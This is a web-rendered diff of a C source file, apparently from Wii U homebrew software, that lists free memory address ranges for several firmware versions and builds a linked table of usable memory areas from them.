// { 0x2E4A5B40, 0x2E4C67BC } // 131 kB
|
||||
// { 0x2E4FBEF0, 0x2E52697C } // 170 kB
|
||||
// { 0x2E550750, 0x2E57333C } // 138 kB
|
||||
// { 0x2E573F3C, 0x2FF8F07C } // 226732 kB (26 MB)
|
||||
// { 0x31000000, 0x31E1FFFC } // 614464 kB (14 MB)
|
||||
// { 0x320A5D80, 0x320AEA3C } // 35 kB
|
||||
// { 0x320E8670, 0x3210017C } // 94 kB
|
||||
// { 0x3212609C, 0x3213187C } // 45 kB
|
||||
// { 0x3219DF08, 0x321B72BC } // 100 kB
|
||||
// { 0x3300ED34, 0x3301AD3C } // 48 kB
|
||||
// { 0x33041760, 0x33049D0C } // 33 kB
|
||||
// { 0x330608F8, 0x3306C97C } // 48 kB
|
||||
// { 0x33089D80, 0x33095284 } // 45 kB
|
||||
// { 0x33095470, 0x330A1324 } // 47 kB
|
||||
// { 0x330A1358, 0x330ADC10 } // 50 kB
|
||||
// { 0x330C9040, 0x330D0ABC } // 30 kB
|
||||
// { 0x330D0AD8, 0x3311F9CC } // 315 kB
|
||||
// { 0x3312575C, 0x3320A63C } // 915 kB
|
||||
// { 0x33234D00, 0x3324B33C } // 89 kB
|
||||
// { 0x3324E300, 0x3328D7BC } // 253 kB
|
||||
// { 0x3329D134, 0x332CA324 } // 180 kB
|
||||
// { 0x3332B200, 0x33340C88 } // 86 kB
|
||||
// { 0x3335A440, 0x335021FC } // 1695 kB (1 MB)
|
||||
// { 0x3350A778, 0x3391680C } // 4144 kB (4 MB)
|
||||
// { 0x3391A444, 0x3392A25C } // 63 kB
|
||||
// { 0x3392A444, 0x33939EB4 } // 62 kB
|
||||
// { 0x3393A444, 0x3394A25C } // 63 kB
|
||||
// { 0x339587C0, 0x33976C80 } // 121 kB
|
||||
// { 0x339779C8, 0x3398E320 } // 90 kB
|
||||
// { 0x3399AE74, 0x339A7D80 } // 51 kB
|
||||
// { 0x339AB1C0, 0x339CE3A0 } // 140 kB
|
||||
// { 0x339CEB28, 0x339DEC38 } // 64 kB
|
||||
// { 0x339DEC40, 0x339ED000 } // 56 kB
|
||||
// { 0x339F1BA4, 0x33A09280 } // 93 kB
|
||||
// { 0x33A0C6E4, 0x33A15C40 } // 37 kB
|
||||
// { 0x33A15D64, 0x33EBFFFC } // 4776 kB (4 MB)
|
||||
// { 0x33F01380, 0x33F21FFC } // 131 kB
|
||||
// { 0x33F44820, 0x33F6B1BC } // 154 kB
|
||||
// { 0x33F80300, 0x33FA11FC } // 131 kB
|
||||
// { 0x33FA4D3C, 0x33FEDAFC } // 291 kB
|
||||
// { 0x33FFFFD4, 0x38FFFFFC } // 81920 kB (80 MB)
|
||||
{0, 0}
|
||||
};
|
||||
|
||||
static const memory_values_t mem_vals_500[] =
|
||||
{
|
||||
{ 0x2E605CBC, 0x2FF849BC }, // size 26733828 (26107 kB) (25 MB)
|
||||
{ 0x2CAE7878, 0x2D207DB4 }, // size 7472448 (7297 kB) (7 MB)
|
||||
{ 0x2D3B966C, 0x2D8943C0 }, // size 5090648 (4971 kB) (4 MB)
|
||||
{ 0x2D8AD3D8, 0x2DFFFFFC }, // size 7679016 (7499 kB) (7 MB)
|
||||
// TODO: Check which of those areas are usable
|
||||
// { 0x283A73DC, 0x284D2AE4 } // size 1226508 (1197 kB) (1 MB)
|
||||
// { 0x29030800, 0x293F69FC } // size 3957248 (3864 kB) (3 MB)
|
||||
// { 0x2970200C, 0x298B9C54 } // size 1801292 (1759 kB) (1 MB)
|
||||
// { 0x2A057B68, 0x2A1B9578 } // size 1448468 (1414 kB) (1 MB)
|
||||
|
||||
// { 0x29030800, 0x293F69FC } // size 3957248 (3864 kB) (3 MB)
|
||||
// { 0x2970200C, 0x298B9C54 } // size 1801292 (1759 kB) (1 MB)
|
||||
// { 0x2A057B68, 0x2A1B9578 } // size 1448468 (1414 kB) (1 MB)
|
||||
// { 0x288EEC30, 0x28B06E94 } // size 2196072 (2144 kB) (2 MB)
|
||||
// { 0x283A73DC, 0x284D2AE4 } // size 1226508 (1197 kB) (1 MB)
|
||||
// { 0x3335A4C0, 0x335021FC } // size 1736000 (1695 kB) (1 MB)
|
||||
// { 0x3350C1D4, 0x339182CC } // size 4243708 (4144 kB) (4 MB)
|
||||
// { 0x33A14094, 0x33EBFFFC } // size 4898668 (4783 kB) (4 MB)
|
||||
// { 0x33FFFFD4, 0x38FFFFFC } // size 83886124 (81920 kB) (80 MB)
|
||||
{0, 0}
|
||||
};
|
||||
|
||||
static const memory_values_t mem_vals_532[] =
|
||||
{
|
||||
// TODO: Check which of those areas are usable
|
||||
// {0x28000000 + 0x000DCC9C, 0x28000000 + 0x00174F80}, // 608 kB
|
||||
// {0x28000000 + 0x00180B60, 0x28000000 + 0x001C0A00}, // 255 kB
|
||||
// {0x28000000 + 0x001ECE9C, 0x28000000 + 0x00208CC0}, // 111 kB
|
||||
// {0x28000000 + 0x00234180, 0x28000000 + 0x0024B444}, // 92 kB
|
||||
// {0x28000000 + 0x0024D8C0, 0x28000000 + 0x0028D884}, // 255 kB
|
||||
// {0x28000000 + 0x003A745C, 0x28000000 + 0x004D2B68}, // 1197 kB
|
||||
// {0x28000000 + 0x004D77B0, 0x28000000 + 0x00502200}, // 170 kB
|
||||
// {0x28000000 + 0x005B3A88, 0x28000000 + 0x005C6870}, // 75 kB
|
||||
// {0x28000000 + 0x0061F3E4, 0x28000000 + 0x00632B04}, // 77 kB
|
||||
// {0x28000000 + 0x00639790, 0x28000000 + 0x00649BC4}, // 65 kB
|
||||
// {0x28000000 + 0x00691490, 0x28000000 + 0x006B3CA4}, // 138 kB
|
||||
// {0x28000000 + 0x006D7BCC, 0x28000000 + 0x006EEB84}, // 91 kB
|
||||
// {0x28000000 + 0x00704E44, 0x28000000 + 0x0071E3C4}, // 101 kB
|
||||
// {0x28000000 + 0x0073B684, 0x28000000 + 0x0074C184}, // 66 kB
|
||||
// {0x28000000 + 0x00751354, 0x28000000 + 0x00769784}, // 97 kB
|
||||
// {0x28000000 + 0x008627DC, 0x28000000 + 0x00872904}, // 64 kB
|
||||
// {0x28000000 + 0x008C1E98, 0x28000000 + 0x008EB0A0}, // 164 kB
|
||||
// {0x28000000 + 0x008EEC30, 0x28000000 + 0x00B06E98}, // 2144 kB
|
||||
// {0x28000000 + 0x00B06EC4, 0x28000000 + 0x00B930C4}, // 560 kB
|
||||
// {0x28000000 + 0x00BA1868, 0x28000000 + 0x00BC22A4}, // 130 kB
|
||||
// {0x28000000 + 0x00BC48F8, 0x28000000 + 0x00BDEC84}, // 104 kB
|
||||
// {0x28000000 + 0x00BE3DC0, 0x28000000 + 0x00C02284}, // 121 kB
|
||||
// {0x28000000 + 0x00C02FC8, 0x28000000 + 0x00C19924}, // 90 kB
|
||||
// {0x28000000 + 0x00C2D35C, 0x28000000 + 0x00C3DDC4}, // 66 kB
|
||||
// {0x28000000 + 0x00C48654, 0x28000000 + 0x00C6E2E4}, // 151 kB
|
||||
// {0x28000000 + 0x00D04E04, 0x28000000 + 0x00D36938}, // 198 kB
|
||||
// {0x28000000 + 0x00DC88AC, 0x28000000 + 0x00E14288}, // 302 kB
|
||||
// {0x28000000 + 0x00E21ED4, 0x28000000 + 0x00EC8298}, // 664 kB
|
||||
// {0x28000000 + 0x00EDDC7C, 0x28000000 + 0x00F7C2A8}, // 633 kB
|
||||
// {0x28000000 + 0x00F89EF4, 0x28000000 + 0x010302B8}, // 664 kB
|
||||
// {0x28000000 + 0x01030800, 0x28000000 + 0x013F69A0}, // 3864 kB
|
||||
// {0x28000000 + 0x016CE000, 0x28000000 + 0x016E0AA0}, // 74 kB
|
||||
// {0x28000000 + 0x0170200C, 0x28000000 + 0x018B9C58}, // 1759 kB
|
||||
// {0x28000000 + 0x01F17658, 0x28000000 + 0x01F6765C}, // 320 kB
|
||||
// {0x28000000 + 0x01F6779C, 0x28000000 + 0x01FB77A0}, // 320 kB
|
||||
// {0x28000000 + 0x01FB78E0, 0x28000000 + 0x020078E4}, // 320 kB
|
||||
// {0x28000000 + 0x02007A24, 0x28000000 + 0x02057A28}, // 320 kB
|
||||
// {0x28000000 + 0x02057B68, 0x28000000 + 0x021B957C}, // 1414 kB
|
||||
// {0x28000000 + 0x02891528, 0x28000000 + 0x028C8A28}, // 221 kB
|
||||
// {0x28000000 + 0x02BBCC4C, 0x28000000 + 0x02CB958C}, // 1010 kB
|
||||
// {0x28000000 + 0x0378D45C, 0x28000000 + 0x03855464}, // 800 kB
|
||||
// {0x28000000 + 0x0387800C, 0x28000000 + 0x03944938}, // 818 kB
|
||||
// {0x28000000 + 0x03944A08, 0x28000000 + 0x03956E0C}, // 73 kB
|
||||
// {0x28000000 + 0x04A944A4, 0x28000000 + 0x04ABAAC0}, // 153 kB
|
||||
// {0x28000000 + 0x04ADE370, 0x28000000 + 0x0520EAB8}, // 7361 kB // ok
|
||||
// {0x28000000 + 0x053B966C, 0x28000000 + 0x058943C4}, // 4971 kB // ok
|
||||
// {0x28000000 + 0x058AD3D8, 0x28000000 + 0x06000000}, // 7499 kB
|
||||
// {0x28000000 + 0x0638D320, 0x28000000 + 0x063B0280}, // 139 kB
|
||||
// {0x28000000 + 0x063C39E0, 0x28000000 + 0x063E62C0}, // 138 kB
|
||||
// {0x28000000 + 0x063F52A0, 0x28000000 + 0x06414A80}, // 125 kB
|
||||
// {0x28000000 + 0x06422810, 0x28000000 + 0x0644B2C0}, // 162 kB
|
||||
// {0x28000000 + 0x064E48D0, 0x28000000 + 0x06503EC0}, // 125 kB
|
||||
// {0x28000000 + 0x0650E360, 0x28000000 + 0x06537080}, // 163 kB
|
||||
// {0x28000000 + 0x0653A460, 0x28000000 + 0x0655C300}, // 135 kB
|
||||
// {0x28000000 + 0x0658AA40, 0x28000000 + 0x065BC4C0}, // 198 kB // ok
|
||||
// {0x28000000 + 0x065E51A0, 0x28000000 + 0x06608E80}, // 143 kB // ok
|
||||
// {0x28000000 + 0x06609ABC, 0x28000000 + 0x07F82C00}, // 26084 kB // ok
|
||||
|
||||
// {0x30000000 + 0x000DCC9C, 0x30000000 + 0x00180A00}, // 655 kB
|
||||
// {0x30000000 + 0x00180B60, 0x30000000 + 0x001C0A00}, // 255 kB
|
||||
// {0x30000000 + 0x001F5EF0, 0x30000000 + 0x00208CC0}, // 75 kB
|
||||
// {0x30000000 + 0x00234180, 0x30000000 + 0x0024B444}, // 92 kB
|
||||
// {0x30000000 + 0x0024D8C0, 0x30000000 + 0x0028D884}, // 255 kB
|
||||
// {0x30000000 + 0x003A745C, 0x30000000 + 0x004D2B68}, // 1197 kB
|
||||
// {0x30000000 + 0x006D3334, 0x30000000 + 0x00772204}, // 635 kB
|
||||
// {0x30000000 + 0x00789C60, 0x30000000 + 0x007C6000}, // 240 kB
|
||||
// {0x30000000 + 0x00800000, 0x30000000 + 0x01E20000}, // 22876 kB // ok
|
||||
{ 0x2E609ABC, 0x2FF82C00 }, // 26084 kB
|
||||
{ 0x29030800, 0x293F69A0 }, // 3864 kB
|
||||
{ 0x288EEC30, 0x28B06E98 }, // 2144 kB
|
||||
{ 0x2D3B966C, 0x2D8943C4 }, // 4971 kB
|
||||
{ 0x2CAE0370, 0x2D20EAB8 }, // 7361 kB
|
||||
{ 0x2D8AD3D8, 0x2E000000 }, // 7499 kB
|
||||
|
||||
{0, 0}
|
||||
}; // total : 66mB + 25mB
|
||||
|
||||
static const memory_values_t mem_vals_540[] =
|
||||
{
|
||||
{ 0x2E609EFC, 0x2FF82000 }, // 26083 kB
|
||||
{ 0x29030800, 0x293F6000 }, // 3864 kB
|
||||
{ 0x288EEC30, 0x28B06800 }, // 2144 kB
|
||||
{ 0x2D3B966C, 0x2D894000 }, // 4971 kB
|
||||
{ 0x2CB56370, 0x2D1EF000 }, // 6756 kB
|
||||
{ 0x2D8AD3D8, 0x2E000000 }, // 7499 kB
|
||||
{ 0x2970200C, 0x298B9800 }, // 1759 kB
|
||||
{ 0x2A057B68, 0x2A1B9000 }, // 1414 kB
|
||||
{ 0x2ABBCC4C, 0x2ACB9000 }, // 1010 kB
|
||||
{0, 0}
|
||||
};
|
||||
|
||||
s_mem_area * memoryGetAreaTable(void)
|
||||
{
|
||||
return MEM_AREA_TABLE;
|
||||
}
|
||||
|
||||
static inline void memoryAddArea(int start, int end, int cur_index)
|
||||
{
|
||||
// Create and copy new memory area
|
||||
s_mem_area * mem_area = memoryGetAreaTable();
|
||||
mem_area[cur_index].address = start;
|
||||
mem_area[cur_index].size = end - start;
|
||||
mem_area[cur_index].next = 0;
|
||||
|
||||
// Fill pointer to this area in the previous area
|
||||
if (cur_index > 0)
|
||||
{
|
||||
mem_area[cur_index - 1].next = &mem_area[cur_index];
|
||||
}
|
||||
}
|
||||
|
||||
/* Create memory areas arrays */
|
||||
void memoryInitAreaTable()
|
||||
{
|
||||
u32 ApplicationMemoryEnd = (u32)APP_BASE_MEM;
|
||||
|
||||
// This one seems to be available on every firmware and therefore its our code area but also our main RPX area behind our code
|
||||
// 22876 kB - our application // ok
|
||||
if(OS_FIRMWARE <= 400) {
|
||||
memoryAddArea(ApplicationMemoryEnd + 0x4B000000, 0x4B000000 + 0x01E20000, 0);
|
||||
}
|
||||
else {
|
||||
memoryAddArea(ApplicationMemoryEnd + 0x30000000, 0x30000000 + 0x01E20000, 0);
|
||||
}
|
||||
|
||||
const memory_values_t * mem_vals = NULL;
|
||||
|
||||
switch(OS_FIRMWARE)
|
||||
{
|
||||
case 400: {
|
||||
mem_vals = mem_vals_400;
|
||||
break;
|
||||
}
|
||||
case 500: {
|
||||
mem_vals = mem_vals_500;
|
||||
break;
|
||||
}
|
||||
case 532: {
|
||||
mem_vals = mem_vals_532;
|
||||
break;
|
||||
}
|
||||
case 540:
|
||||
case 550: {
|
||||
mem_vals = mem_vals_540;
|
||||
break;
|
||||
}
|
||||
default:
|
||||
return; // no known values
|
||||
}
|
||||
|
||||
// Fill entries
|
||||
int i = 0;
|
||||
while (mem_vals[i].start_address)
|
||||
{
|
||||
memoryAddArea(mem_vals[i].start_address, mem_vals[i].end_address, i + 1);
|
||||
i++;
|
||||
}
|
||||
}
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user